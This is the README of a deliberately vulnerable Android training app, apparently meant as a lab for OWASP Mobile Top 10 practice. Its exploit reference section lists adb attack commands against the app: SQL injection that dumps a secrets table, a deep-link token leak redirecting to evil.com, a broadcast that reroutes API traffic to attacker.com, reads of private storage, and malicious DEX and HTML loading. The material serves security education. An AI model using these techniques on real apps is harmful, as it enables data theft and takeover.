anpa1200/Vulnerable-APK
GitHub: anpa1200/Vulnerable-APK
一款覆盖 OWASP Mobile Top 10 全部类别的脆弱 Android 应用,为安全研究人员提供移动端漏洞实践与分析的靶场环境。
Stars: 0 | Forks: 0
# VulnLab APK — 专为安全研究设计的脆弱 Android 应用

## 什么是 VulnLab?
VulnLab 是一个专门构建的脆弱 Android 应用程序,涵盖了 [OWASP Mobile Top 10](https://owasp.org/www-project-mobile-top-10/) 中的所有主要漏洞类别以及 Android 特有的攻击面。它旨在为安全研究人员、漏洞赏金猎人和学生提供一个实践目标,以便练习静态分析、动态插桩和漏洞利用开发 —— 而无需真实的测试目标。
每个漏洞都在源代码中进行了记录,包含攻击向量、测试命令和预期输出。
## 项目成熟度证据
| 方面 | 证据 |
|---|---|
| 构建和安装 | [快速开始](#quick-start), [`build.sh`](build.sh), [`requirements-dev.txt`](requirements-dev.txt) |
| 实验室覆盖范围 | [漏洞覆盖范围](#vulnerability-coverage), [`docs/VULNERABILITIES.md`](docs/VULNERABILITIES.md) |
| 安全性 | [负责任的使用](#responsible-use), [安全模型](docs/safety-model.md), [安全策略](SECURITY.md) |
| 验证 | [验证计划](docs/validation-plan.md), [`tests/`](tests/) 中的轻量级测试 |
| 维护 | [维护者](MAINTAINERS.md), [路线图](ROADMAP.md), [更新日志](CHANGELOG.md), [贡献指南](CONTRIBUTING.md) |
| 重新提交状态 | [精选列表重新提交计划](docs/curated-list-resubmission-plan.md) |
精选列表的重新提交应等待打标签的发布、APK 哈希值、可见的检查历史记录以及外部使用反馈。该仓库现在记录了质量标准,但采用证据仍需要时间。
## 漏洞覆盖范围
| # | 类别 | 组件 | CVSS |
|---|---|---|---|
| 11.1 | 组件暴露与不安全的 IPC | `AdminActivity` | 9.1 |
| 11.2 | Intent 重定向 | `IntentRedirectReceiver` | 8.3 |
| 11.2 | PendingIntent 滥用 | `PendingIntentActivity` | 7.5 |
| 11.3 | ContentProvider SQL 注入 | `VulnContentProvider` | 9.8 |
| 11.3 | ContentProvider 路径遍历 | `FileVulnProvider` | 8.6 |
| 11.4 | Deep Link 参数注入 | `DeepLinkActivity` | 8.1 |
| 11.4 | OAuth Token 劫持 | `DeepLinkActivity` | 8.1 |
| 11.5 | Broadcast Receiver 劫持 | `ConfigReceiver` | 7.4 |
| 11.6 | 不安全的数据存储 | `StorageActivity` | 7.5 |
| 11.7 | 密码学失效 | `CryptoActivity` | 7.5 |
| 11.8 | 不安全的 WebView + JS Bridge | `WebViewActivity` | 9.3 |
| 11.9 | 动态代码加载 | `DynamicCodeActivity` | 8.8 |
**Manifest 级别的标志:** `debuggable=true` · `allowBackup=true` · `usesCleartextTraffic=true` · 无证书锁定
## 快速开始
### 前置条件
- 包含 `build-tools;34.0.0` 和 `platforms;android-34` 的 Android SDK
- Java 8+
- `adb` 在 PATH 中
### 从源代码构建
```
git clone https://github.com/anpa1200/Vulnerable-APK.git
cd Vulnerable-APK
bash build.sh
adb install VulnLab.apk
```
### 使用预构建的 APK
从 [Releases](../../releases) 下载 `VulnLab.apk` 并直接安装:
```
adb install VulnLab.apk
```
包名:`com.vulnlab.insecureapp`
## 实验室设置
推荐的实验室:Android 13 (API 33) 模拟器,`Google APIs x86_64` 镜像。
```
# 创建 AVD
sdkmanager "system-images;android-33;google_apis;x86_64"
avdmanager create avd -n vulnlab -k "system-images;android-33;google_apis;x86_64"
# 启动 headless
emulator -avd vulnlab -no-window -no-audio -gpu swiftshader_indirect &
# 等待启动
adb wait-for-device && until adb shell getprop sys.boot_completed | grep -q 1; do sleep 2; done
# 安装
adb install VulnLab.apk
```
## 漏洞利用参考
### 11.1 — 未经授权的管理员访问
```
adb shell am start -n com.vulnlab.insecureapp/.AdminActivity \
--ez isAdmin true --es action deleteAll
```

### 11.3 — ContentProvider SQL 注入
```
# 导出所有用户(无 auth)
adb shell content query \
--uri content://com.vulnlab.insecureapp.provider/users
# 基于 UNION 的注入 — 窃取 secrets 表
adb shell content query \
--uri content://com.vulnlab.insecureapp.provider/users \
--where "1=1 UNION SELECT key,value,null,null,null FROM secrets--"
```

### 11.4 — Deep Link Token 泄露
```
adb shell am start -a android.intent.action.VIEW \
-d "vulnlab://app/reset?token=SECRET_TOKEN&redirect=http://evil.com"
```

### 11.5 — 配置广播劫持
```
# 将所有 API 流量重定向到攻击者控制的服务器
adb shell am broadcast \
-n com.vulnlab.insecureapp/.ConfigReceiver \
--es server_url "http://attacker.com" \
--ez force_update true
```

### 11.6 — 不安全的存储(无需 root)
```
# 通过 debuggable flag 读取私有 SharedPreferences
adb shell run-as com.vulnlab.insecureapp \
cat /data/data/com.vulnlab.insecureapp/shared_prefs/vulnlab_prefs.xml
# 导出完整 SQLite 数据库
adb shell run-as com.vulnlab.insecureapp \
sqlite3 /data/data/com.vulnlab.insecureapp/databases/vulnlab.db .dump
# 读取全局可访问的外部存储 JSON
adb shell cat /sdcard/Android/data/com.vulnlab.insecureapp/files/session.json
```

### 11.7 — 密码学失效
```
adb shell am start -n com.vulnlab.insecureapp/.CryptoActivity
adb logcat | grep VulnLab:Crypto
# 显示:硬编码 AES key、ECB ciphertext、静态 IV、MD5 hash、弱 RNG token
```

### 11.8 — WebView JS Bridge RCE
编写并加载一个调用所有三个 JS Bridge 方法的恶意 HTML 页面:
```
cat > /tmp/poc.html << 'EOF'
EOF
adb push /tmp/poc.html /data/local/tmp/poc.html
adb shell run-as com.vulnlab.insecureapp \
cp /data/local/tmp/poc.html /data/data/com.vulnlab.insecureapp/files/poc.html
adb shell am start -n com.vulnlab.insecureapp/.WebViewActivity \
--es url "file:///data/data/com.vulnlab.insecureapp/files/poc.html"
```

### 11.9 — 动态代码注入
```
# 构建实现 com.vulnlab.plugin.UpdatePlugin 的恶意 DEX
# 然后将其放置在 watched path
adb shell mkdir -p /sdcard/vulnlab_plugins
adb push malicious.dex /sdcard/vulnlab_plugins/update.dex
adb shell am start -n com.vulnlab.insecureapp/.DynamicCodeActivity
```

## 静态分析
```
# 使用 jadx 反编译
jadx -d jadx_out VulnLab.apk
# 运行 APK Hunter(AI 驱动的 5 阶段 pipeline)
python3 /path/to/apk-hunter/cli.py analyze VulnLab.apk
# MobSF
docker run -it --rm -p 8000:8000 opensecurity/mobile-security-framework-mobsf
# 在 http://localhost:8000 上传 VulnLab.apk
```
## 项目结构
```
vulnlab-apk/
├── AndroidManifest.xml # All dangerous flags enabled
├── build.sh # Build without Gradle (SDK tools only)
├── VulnLab.apk # Pre-built signed APK
├── src/com/vulnlab/insecureapp/
│ ├── MainActivity.java # Navigation hub
│ ├── AdminActivity.java # 11.1 Component Exposure
│ ├── IntentRedirectReceiver.java # 11.2 Intent Redirect
│ ├── PendingIntentActivity.java # 11.2 PendingIntent Misuse
│ ├── VulnContentProvider.java # 11.3 SQL Injection
│ ├── FileVulnProvider.java # 11.3 Path Traversal
│ ├── DeepLinkActivity.java # 11.4 Deep Link Attacks
│ ├── ConfigReceiver.java # 11.5 Broadcast Hijack
│ ├── StorageActivity.java # 11.6 Insecure Storage
│ ├── CryptoActivity.java # 11.7 Crypto Failures
│ ├── WebViewActivity.java # 11.8 Insecure WebView
│ └── DynamicCodeActivity.java # 11.9 Dynamic Code Loading
├── res/
│ ├── values/strings.xml # Hardcoded secrets in resources
│ └── xml/network_security_config.xml # Permissive NSC
├── screenshots/ # Real AVM exploit screenshots
└── docs/
├── VULNERABILITIES.md # Full vulnerability details
└── article.md # Medium.com article
```
## 与其他实验室应用的比较
| 应用 | DIVA | InsecureBankv2 | MSTG | **VulnLab** |
|---|---|---|---|---|
| 无 Gradle 构建 | ✗ | ✗ | ✗ | **✓** |
| 覆盖所有 OWASP M-Top10 | 部分 | 部分 | ✓ | **✓** |
| JS Bridge RCE 演示 | ✗ | ✗ | 部分 | **✓** |
| 真实的漏洞利用命令 | ✗ | ✓ | 部分 | **✓** |
| 源代码注释 | 最少 | 部分 | ✓ | **✓** |
| 兼容 Android 13 | ✗ | ✗ | ✓ | **✓** |
## 负责任的使用
此应用程序严格用于:
- 授权的渗透测试教育
- 漏洞赏金猎人培训
- CTF 竞赛
- 防御性安全研究和工具验证
**切勿安装在生产环境或包含真实账号的设备上。**
## 许可证
MIT — 见 [LICENSE](LICENSE)
## 1200km 生态系统
本项目是 1200km 安全研究生态系统的一部分。使用 [AdversaryGraph](https://1200km.com/adversarygraph/) 进行 CTI 到检测的工作流、ATT&CK/ATLAS 映射、攻击者关联性、IOC 富集以及适合分析师的报告。
- [AdversaryGraph 项目中心](https://1200km.com/adversarygraph/)
- [AdversaryGraph 文档](https://1200km.com/adversarygraph-docs/)
- [实时 ATT&CK/ATLAS 工作区](https://1200km.com/threat-matrix/)
- [1200km 安全研究生态系统](https://1200km.com/)
标签:Android, DSL, JS文件枚举, 域名枚举, 安全, 漏洞靶场, 目录枚举, 移动安全, 超时处理, 逆向分析, 防御检测